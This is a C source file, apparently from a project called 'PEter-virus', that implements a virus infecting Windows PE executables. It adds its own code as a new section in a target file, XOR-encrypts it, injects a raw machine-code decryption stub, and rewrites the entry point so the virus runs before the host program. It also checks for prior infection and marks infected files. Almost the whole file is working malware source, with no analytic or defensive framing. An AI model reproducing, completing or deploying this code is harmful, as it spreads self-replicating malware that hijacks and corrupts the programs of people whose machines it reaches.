PEter-virus/virus.c

364 lines
12 KiB
C

#include "virus.h"
static void *virus_encrypt(void *image, void *vir,
uint32_t virSz, char *key);
static void *virus_add_dec_stub(void *image, uint32_t rvaData,
uint32_t dataSz, uint32_t rvaKey,
uint32_t rvaEntry);
void virus_get_pointers(virus_pointers *vptrs) {
vptrs->virusStart = start(); //aaa.c
vptrs->virusEnd = end(); //zzz.c
vptrs->virusSz = (vptrs->virusEnd - vptrs->virusStart);
vptrs->virusEntry = virus_loader();
vptrs->virusBase = get_peb_data(1);
return;
}
void *virus_encrypt(void *image, void *vir,
uint32_t virSz, char *key)
{
int virCnt, keyCnt = 0;
char *secName;
void *writePtr;
for (virCnt = 0; virCnt < virSz; virCnt++) {
((char*)vir)[virCnt] ^= ((char*)key)[keyCnt];
keyCnt++;
if (((char*)key)[keyCnt] == '\x00') keyCnt = 0;
}
for (int i = 0; i < 16; i++) {
secName = sections_by_index_get_name(image, i);
if (NULL == secName) return NULL; //we found no exe section
if (1 == sections_by_name_is_readable(image, secName)) {
writePtr = sections_by_name_enlarge(image, secName,
key, (pic_strlen(key)+1));
if (NULL != writePtr) return writePtr;
}
}
return NULL;
}
void *virus_add_dec_stub(void *image, uint32_t rvaData,
uint32_t dataSz, uint32_t rvaKey,
uint32_t rvaEntry)
{
uint32_t checkCnt;
uint32_t *writePtr;
char *secName;
char stub[77];
stub[0] = '\xbe'; stub[1] = '\x55'; stub[2] = '\x55'; stub[3] = '\x55';
stub[4] = '\x55'; stub[5] = '\xbb'; stub[6] = '\x66'; stub[7] = '\x66';
stub[8] = '\x66'; stub[9] = '\x66'; stub[10] = '\xb9'; stub[11] = '\x0';
stub[12] = '\x0'; stub[13] = '\x0'; stub[14] = '\x0'; stub[15] = '\xbf';
stub[16] = '\x77'; stub[17] = '\x77'; stub[18] = '\x77'; stub[19] = '\x77';
stub[20] = '\xba'; stub[21] = '\x0'; stub[22] = '\x0'; stub[23] = '\x0';
stub[24] = '\x0'; stub[25] = '\x64'; stub[26] = '\xa1'; stub[27] = '\x30';
stub[28] = '\x0'; stub[29] = '\x0'; stub[30] = '\x0'; stub[31] = '\x8b';
stub[32] = '\x40'; stub[33] = '\x8'; stub[34] = '\x1'; stub[35] = '\xc6';
stub[36] = '\x1'; stub[37] = '\xc7'; stub[38] = '\x50'; stub[39] = '\x39';
stub[40] = '\xd9'; stub[41] = '\x74'; stub[42] = '\x18'; stub[43] = '\x8a';
stub[44] = '\x4'; stub[45] = '\xe'; stub[46] = '\x32'; stub[47] = '\x4';
stub[48] = '\x17'; stub[49] = '\x88'; stub[50] = '\x4'; stub[51] = '\xe';
stub[52] = '\x41'; stub[53] = '\x42'; stub[54] = '\x8a'; stub[55] = '\x4';
stub[56] = '\x17'; stub[57] = '\x3c'; stub[58] = '\x0'; stub[59] = '\x74';
stub[60] = '\x2'; stub[61] = '\xeb'; stub[62] = '\xe8'; stub[63] = '\x31';
stub[64] = '\xd2'; stub[65] = '\xeb'; stub[66] = '\xe4'; stub[67] = '\xb9';
stub[68] = '\x99'; stub[69] = '\x99'; stub[70] = '\x99'; stub[71] = '\x99';
stub[72] = '\x58'; stub[73] = '\x1'; stub[74] = '\xc8'; stub[75] = '\xff';
stub[76] = '\xe0';
checkCnt = 0;
for (int i = 0; i < STUB_LEN; i++) {
writePtr = (uint32_t*)&((char*)stub)[i];
if ((*writePtr) == 0x55555555) {
(*writePtr) = rvaData;
checkCnt++;
}
if ((*writePtr) == 0x66666666) {
(*writePtr) = dataSz;
checkCnt++;
}
if ((*writePtr) == 0x77777777) {
(*writePtr) = rvaKey;
checkCnt++;
}
if ((*writePtr) == 0x99999999) {
(*writePtr) = rvaEntry;
checkCnt++;
}
}
//of cause this is useless untill we have changing stubs...
if (checkCnt != 0x04) return NULL;
for (int i = 0; i < 16; i++) {
secName = sections_by_index_get_name(image, i);
if (NULL == secName) return NULL; //we found no exe section
if (1 == sections_by_name_is_executable(image, secName)) {
writePtr = sections_by_name_enlarge(image, secName,
stub, STUB_LEN);
if (NULL != writePtr) return writePtr;
}
}
return NULL;
}
int virus_check_for_section(char *file, char *secName) {
char *nPtr;
int i = 0;
while (nPtr = sections_by_index_get_sh(file, i)) {
if (pic_strncmp(secName, nPtr, 8) == 0) {
return 1;
}
i++;
}
return 0;
}
int virus_check_for_infection(char *file) {
char *sName;
int i = 0;
while (sName = sections_by_index_get_name(file, i)) {
if (sections_by_name_is_writable(file, sName)
&& sections_by_name_is_executable(file, sName)) {
return 1;
}
}
return 0;
}
//This function needs to be improved a bit but it should work for now.
//One important thing is checking for reading and writing permissions
//before infection.
int virus_infect(char *path, char *secName, uint32_t secFlags) {
file_data fdat, nfdat;
virus_pointers vptrs;
void *oldRvaPhldr, *newSec, *epRva;
hdrs peNewHdrs, peOldHdrs;
uint32_t oldEpRva, oldEpPhldr = 0x44444444;
IMAGE_SECTION_HEADER *sh;
char key[3], *keyPtr;
int i;
key[0] = 'a';
key[1] = 'b';
key[2] = '\x00';
virus_get_pointers(&vptrs);
if (NULL == pic_read_file_bin(path, &fdat)) return -1;
if (virus_check_for_section(fdat.data, secName)) {
pic_free(fdat.data);
return -1;
}
if (virus_check_for_infection(fdat.data)) {
pic_free(fdat.data);
return -1;
}
nfdat.fileSz = sections_get_sizeof_image_after_add_section(fdat.data,
fdat.fileSz,
vptrs.virusSz);
nfdat.data = pic_malloc(nfdat.fileSz);
newSec = sections_add_section(fdat.data, fdat.fileSz,
nfdat.data, nfdat.fileSz,
secName, vptrs.virusSz);
pic_memcpy(newSec, vptrs.virusStart, vptrs.virusSz);
sections_by_name_set_characteristics(nfdat.data, secName, secFlags);
/* since vptrs->virusEntry points on the currently running exe
we need to calculate the entry point of the new executable */
epRva = vptrs.virusEntry;
epRva -= vptrs.virusStart;
//epRva is now just the offset from the section start
hdrs_init(&peNewHdrs, nfdat.data);
//FIXME: just until the 64bit version is ready
if (peNewHdrs.type == 64) {
pic_free(nfdat.data);
pic_free(fdat.data);
return -1;
}
sh = sections_by_name_get_sh(nfdat.data, secName);
epRva += sh->VirtualAddress;
//we will use oldEPRva later.
oldEpRva = hdrs_get_address_of_entry_point(&peNewHdrs);
hdrs_set_address_of_entry_point(&peNewHdrs,
(uint32_t)epRva);
hdrs_destroy(&peNewHdrs);
pic_free(fdat.data);
/* In the below snippet we hope there is no other 44444444
byte series in the scanned bytes. If that would be the case
the code might brake the new executable. */
uint8_t byteBeforeSig = 0x00;
i = 0;
do {
oldRvaPhldr = pic_memmem(newSec, vptrs.virusSz,
&oldEpPhldr, sizeof (uint32_t));
if (NULL != oldRvaPhldr) {
pic_memcpy(oldRvaPhldr, &oldEpRva, sizeof (uint32_t));
i++;
}
} while (NULL != oldRvaPhldr);
if (2 != i) {
//something went wrong with the 44444444 searching stuff
pic_free(nfdat.data);
return -1;
}
hdrs_init(&peNewHdrs, nfdat.data);
keyPtr = virus_encrypt(nfdat.data, newSec, vptrs.virusSz, key);
keyPtr = virus_add_dec_stub(nfdat.data, ptr_to_rva(nfdat.data, newSec),
vptrs.virusSz,
ptr_to_rva(nfdat.data, keyPtr),
hdrs_get_address_of_entry_point(&peNewHdrs));
virus_sign_infected(nfdat.data, STUB_LEN);
hdrs_set_address_of_entry_point(&peNewHdrs, ptr_to_rva(nfdat.data,
keyPtr));
hdrs_destroy(&peNewHdrs);
if (NULL == pic_write_file_bin(path, &nfdat)) {
pic_free(nfdat.data);
return -1;
}
pic_free(nfdat.data);
return 0;
}
/* This function checks its return address whether it
is whithin the section of the virus or not.
If it is called by the virus it will return its start address
if not it will call the main function. */
void *virus_loader() {
void *retAddr;
void *ownAddr;
int64_t offset;
__asm__("call nextIns;\r\n"
"nextIns:\r\n"
"pop %0;\r\n"
: "=r" (ownAddr)
:
:);
ownAddr -= 0x0b;
#ifdef __amd64__
__asm__(".intel_syntax;\r\n"
"mov %0, [rbp+0x08];\r\n" //return address;
".att_syntax;\r\n"
: "=r" (retAddr)
:
:);
#else
__asm__(".intel_syntax;\r\n"
"mov %0, [ebp+0x04];\r\n" //return address;
".att_syntax;\r\n"
: "=r" (retAddr)
:
:);
#endif
offset = (int64_t)(ownAddr - retAddr); //this is very hacky since
//the function will not work
//if it's called from a function
//which lies behind this one
if (offset < 0x1000 && offset > 0) return ownAddr;
main();
#ifdef __amd64__
__asm__(".intel_syntax;\r\n"
"mov rax, %0\r\n"
"add eax, 0x44444444\r\n"
"jmp rax\r\n"
".att_syntax\r\n"
:
:"r"(get_peb_data(1))
:);
#else
__asm__(".intel_syntax;\r\n"
"mov eax, %0\r\n"
"add eax, 0x44444444\r\n"
"jmp eax\r\n"
".att_syntax\r\n"
:
:"r"(get_peb_data(1))
:);
#endif
return NULL;
}
/* returns:
* -1 : error
* 1-100 : likelyhood of infection
*/
int virus_check_infected(infect_info *ii, char *path, uint32_t stubSz) {
file_data fdat;
hdrs h;
virus_pointers vptrs;
IMAGE_SECTION_HEADER *sh;
uint32_t numSecs;
void *of;
virus_get_pointers(&vptrs);
if (NULL == pic_read_file_bin(path, &fdat)
|| NULL == (of = pic_open_file(path, 0x02 /*READWRITE*/))) {
pic_memset(ii, 0, sizeof (infect_info));
return -1;
}
pic_close_handle(of);
if (-1 == hdrs_init(&h, fdat.data)) return -1;
numSecs = hdrs_get_number_of_sections(&h);
if (16 < numSecs) return -1;
ii->numSecs = numSecs;
ii->infLike = 1;
for (int i = 0; i < numSecs; i++) {
sh = sections_by_index_get_sh(fdat.data, i);
ii->secs[i].freeSpace = sh->SizeOfRawData;
ii->secs[i].freeSpace -= sh->Misc.VirtualSize;
pic_memcpy(ii->secs[i].name, sh->Name, 8);
ii->secs[i].exe = sections_by_name_is_executable(fdat.data,
sh->Name);
ii->secs[i].read = sections_by_name_is_readable(fdat.data,
sh->Name);
ii->secs[i].write = sections_by_name_is_writable(fdat.data,
sh->Name);
if (ii->secs[i].exe && (ii->secs[i].freeSpace > stubSz))
ii->infLike = 0;
}
return ii->infLike;
}
//checks if a binary (scanned with check_infected) has a section with
//the given name (1 = it has; 0 = it hasn't)
int virus_check_for_name_in_sections(infect_info *ii, char *name) {
section *secCur;
secCur = ii->secs;
for (int i = 0; i < ii->numSecs; i++) {
if (!pic_strncmp(secCur[i].name, name, 8)) return 1;
}
return 0;
}
void virus_sign_infected(char *img, uint32_t stubSz) {
uint32_t numSecs;
hdrs h;
IMAGE_SECTION_HEADER *sh;
hdrs_init(&h, img);
numSecs = hdrs_get_number_of_sections(&h);
hdrs_destroy(&h);
for (int i = 0; i < numSecs; i++) {
sh = sections_by_index_get_sh(img, i);
if (sh->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
while (stubSz <= (sh->SizeOfRawData - sh->Misc.VirtualSize))
sh->Misc.VirtualSize += stubSz;
}
}
}